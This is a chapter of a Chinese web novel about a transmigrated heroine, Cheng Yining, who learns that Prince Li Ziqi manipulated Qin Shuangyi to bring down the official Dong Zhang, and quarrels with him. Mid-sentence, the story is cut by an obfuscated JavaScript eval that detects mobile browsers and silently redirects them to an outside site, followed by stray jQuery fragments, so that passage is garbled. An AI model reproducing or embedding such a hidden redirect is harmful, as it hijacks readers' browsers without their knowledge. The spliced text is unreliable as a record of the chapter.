默认冷灰
24号文字
方正启体

62. 第 62 章

作者:入云栖本书字数:K更新时间:
    不知是心情好,还是心情差,周梦蝶今夜愿意同她说很多话。


    “简单点说,就是我大伯父发现秦竹死得蹊跷,向皇帝谏言彻查此案,还跟皇上说眉单战役的抚恤金未按实数发放,后被刑部摆出来秦竹自杀的证据,户部拿出做好的假账;皇帝说一怒之下抄了邹家,当官的远亲均被革职,全家老小流放岭南……”


    程以宁:“当今圣上也太好骗了吧。”


    “或许,是有意包庇。”周梦蝶如释重负般翘了翘脚,“好在这趟确实没有白跑,抚恤金的确没发,秦竹也的确死得蹊跷,只要秦双仪点头,必能还我邹家清誉!”


    难怪……难怪她如此急切向秦双仪要结果……


    邹家也是满堂冤魂不得宁啊。


    “以宁,”


    放在膝头的手突然被周梦蝶握住,“你跟她关系好,帮我多劝劝行吗?”


    “你这……”程以宁费力抽出手,“你这不是为难我吗……”


    周梦蝶盯着程以宁,良久,道:“你以为你能永远袖手旁观?总有一日,你也会站在悬崖边上,到时候,可没人拉你。”


    程以宁愣了会儿,笑道:“没人拉,那就跳下去一了百了,总好过日日煎熬困苦。”


    看不出她是真心还是玩笑,周梦蝶揶揄道:“用死来逃避,可不光彩。”


    比起死的那一点痛,生不如死才更可怕吧。像秦双仪那样,谁都会被逼疯。


    程以宁没再接话,远处墙外传来更夫的梆子声,邦邦邦邦邦——


    折腾了一夜,已经到了五更天,再过一会,天,就亮了。


    只要,再等一会。


    *


    周梦蝶虽放了狠话,却没再寻来,秦双仪住了三天就回京,程以宁不知该怎么解开她的心结,让她浑浑噩噩一个人回,也是不放心,就雇了两个镖人暗中护送她。


    在万家待了两月有余,整个扬州都玩遍了,程以宁天天一觉睡到下午,两顿没吃,还没去请安,吓得万老夫人叫了大夫来把脉,大夫看过后说是劳累过度,昏睡过去,开几副药补气养血的喝喝便能养回来。


    自己的身体自己清楚,她最近的确是体力下降了,前些日子天天被追杀都能挺过,这段时间稍微玩疯点玩久点就气喘吁吁。


    更奇怪的是最近老是做梦,梦里听到闺蜜一直叫她的名字,还有手被握住的感觉。


    不是说要让她沉浸吗?怎么总是用现实世界的声音提醒她自己不属于这里呢……


    【哔——连接成功连接成功,恭喜宿主,撑过一半进度条!】


    【007告诉您一个好消息,穿书局颁布新规,凡是自发做任务未得系统辅助的穿书者,有几率获得现实世界一日游。】


    【加油吧!宿主!胜利的曙光就在前方!】


    睁眼时,天光已然大亮,外头一束光正好透过漏窗浮在程以宁白嫩的圆脸上,被子吸饱了日光更显缎彩华贵。


    程以宁弹射坐起。


    回家!她有机会回家了!


    这说明她到现在都未行差踏错,对扮演“程以宁”已经足够得心应手,或者她早就与自己融为一体了。


    “大小姐醒啦?”玉壶招呼侍女进来帮忙洗漱,“早前万老夫人来过了,见你睡得香甜,就没有打扰你。”


    程以宁仰头咕噜咕噜漱完口,瞬移到梳妆台前,“那快快帮我梳洗,我好去请安。”


    刚收拾好,侍女传话,说是万老夫人与老爷正在前厅会客,一时抽不开身。


    “谁啊?”


    不会又是苏正清吧……程以宁皱着眉满是不悦。


    “回表小姐,是晋王殿下。”


    闻言,程以宁立即喜笑颜开,“李自蹊?真的吗?他不是治水呢嘛?怎么有空来扬州的?”


    “快快快,带我去,我也要见见他。”程以宁根本等不及,拉着人就要走,那老仆人并未动,只道:“老夫人同晋王有说不完的话,请小姐安心梳妆不必急着出去。”


    万老夫人都没出过扬州城,跟李自蹊没有深交,哪里来的说不完的话?


    能让他们多说几句的,也只有程以宁了。想都不用想,约莫是万老夫人明叮嘱侧敲打,希望李自蹊对她外孙女好些。


    程以宁第一反应居然是害怕外祖母过于为难他,可转念一想,外祖母所作所为不过是为了给她撑腰,告诉他别想欺负了她去,娘家有的是人愿意保她。


    她真的挺喜欢这里,在这里有好多亲朋好友,都想着她护着她,要不是古代太容易死,她说不定还真愿意留在这儿呢。


    江南初夏,正是多雨之季,刚还大太阳,眼下已乌云密布,天黑沉沉压下,看起来是要有场大雨。


    原本在院子里等的程以宁已到了偏厅,对着窗外变化无常的天发起了呆。


    天空阴暗,乌云翻滚,外头风声猎猎,屋子里,少女一改往日里的跳脱,支颐望天,一派悠然之态,是滚滚红尘里的一方恬静。


    李自蹊站在门边凝视良久,一呼一吸都随着她肩膀起伏同频,只是侧脸,就能够让他驻足沉浸。


    “哎?你来啦?”


    最终还是程以宁先发现他,“快进来吧,待会下暴雨淋着会着凉的。”


    心比动作快,动作比脑子快,话落音之际,两人以及相对而坐了。


    自英灵殿坍塌那日后,这是二人第一次见面。


    想起那日自己的所作所为,程以宁脑袋嗡了一下,原本握着李自蹊腕子的手像碰到炭火般惊跳撤回,脸瞬间热得不行,大风呼呼往里灌都没任何作用。


    “想什么呢?”李自蹊微微低下头,去迎她的目光,手也跟着追上,重新握紧。


    被握住的手背热乎乎的舒服极了,程以宁没有抗拒,只慌乱左右两边撇,胡乱问了句,“你……你公务可都完成了?”


    好家伙,这话问的,不知道的还以为她是他领导。


    这确实给李自蹊问愣了,随即不着痕迹道:“本就是汛期前抢修河堤缺口的应急公务,个把月足够了,此番绕道来扬州,就是……就是来看看你。”


    他顾做轻松,方才停顿时滚动的喉结暴露出,实际他也不太擅长这个。


    程以宁恍然不知,一句“来看看你”,弄得她愈发不知道把眼睛往哪里搁了,明明是那么稀松平常的一句话,他说出来,不亚于“我很想你”、“我想见你”、“我迫不及待”。


    程以宁一味地脸红,“你怎么知道我在这儿,我明明是偷偷跑出来的。”


    “哎,对了。告诉你哦,我这一路上可惊险了……”


    话戛然而止,仿佛一刀切断了什么一样干脆,原本雀跃羞涩的脸蛋,眼下只剩一片空白。


    “……你跟周梦蝶一直有联系?你早就知道我会来扬州?”


    所以他会提前布置好花房,所以周梦蝶苏正清一唱一和地把秦竹的遗书找到了,所以望山周梦蝶出现得如此突兀,就是李自蹊安排她,有意引导秦双仪亲手撕开董彰伪善的面具。


    他操纵着别人的手把秦双


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890348|173031||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仪架在道德的火堆上。


    原本因他突然到来,不胜欢喜的心情,瞬间化为乌有,一想到秦双仪那张茫然痛苦的脸,她就怒火中烧。


    “为什么?”程以宁撤回被握住的手,“你想扳倒董彰,为什么要把无辜之人牵扯进来?你知道秦双仪现在有多难受吗?”


    程以宁脸色变化太快,李自蹊差点没接住她的情绪,手仍维持着刚才的姿势,虚握着空气。


    他紧盯着那只突然撤回的手,慢慢拢紧手指,掌心被指甲掐出血,声音却平静得可怕,“秦双仪是董彰的至亲,她携父亲遗书,大义灭亲是最快最有力的方法。”


    “京城夺嫡已经白热化,就这一个月又换了一波六品官员。眼下无论是谁将这件事捅到皇上面前,他会往夺嫡上想,到时候为了制衡双方,高高举起轻轻落下也不是没可能。”


    “秦双仪站出来,皇上才会信,天下人才会信,否则在他们眼中只是夺嫡一环,政敌构陷罢了。”


    “你净找借口!”程以宁拂袖,根本不信他的话,“董彰之流作恶多端,将其公诸于世,我不信满朝公卿听了不愤慨,天下百姓知晓不唾弃!”


    李自蹊语气冷如冰碴,“愤慨如何?唾弃又如何?你怕是不知道董彰为首的士林党操纵舆论有多可怕。自你父亲镇国公上任以来民间非议不止,朝堂弹劾不断,白的都能给你说成黑的,秦双仪是最适合做这件事的人,没有之一。”


    早点扳倒董彰,皇后早点下台,他也能早点拿到实权护着她。若是如她所说,用别的法子,要确保万无一失,得布局很久才能动董彰。


    眼下皇上正缺人手,对程世飞的流言蜚语也就睁一只闭一只眼,等到来年科考,上了新人,第一个拿程家充国库,到时候她哭都没地方哭。


    程以宁软话听不进,李自蹊语气也变强硬了。


    “你让一个姑娘去扛这种事?她要是撑不住呢?被你逼疯了呢?”


    国家、氏族、道德、像三座大山往她肩上丢,骨气硬如秦竹尚且自杀了,何况一小女子?


    “我从来都没说过我是什么君子,程大小姐错爱了。”


    雨终于是落下来了,似天河决了堤,奔腾而下。


    “你什么意思?”


    “我还想问问你,跟我在这儿吵是什么意思。”李自蹊越想越气,“让她难受的罪魁祸首是我吗?你凭良心讲。董彰不贪墨军饷,堂堂正正做人清清白白为官,她秦双仪至于早早失去双亲?大源数万将士至于命丧盈自庄?”


    “不管我是否有考虑她的感受,董彰作恶的事实是早就种下的因,你以为秦双仪穿金戴玉的钱是哪里来的?那是边疆将士的卖命钱!”


    一道闪电划破阴沉的天空,照亮李自蹊冷峻的侧脸,程以宁这才发现,他的眼神比雨还要冷。


    程以宁脸色煞白,仿佛淋了冷雨,声音发颤:“她是无辜的。”


    轰隆——


    雷声炸响紧随其后,震得桌子嗡嗡颤抖,人心发慌。


    “她真的无辜吗?”李自蹊声音非常非常轻,轻如鸿毛漂浮在空中,盘旋于耳边,余音久久不散。


    【臣思及过往,每食肉,如嚼同袍骨;每着锦,拟披将士皮。何尝不是同罪?】


    秦竹的遗书,斑驳的字迹仍然历历在目,仿佛穿越数年,来到她面前,告诉她,受之阴萌,与之同罪。


    她比任何人都清楚,只有死去的将士们才真无辜。


    “她的安稳人生,本就是董彰帮她偷来的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)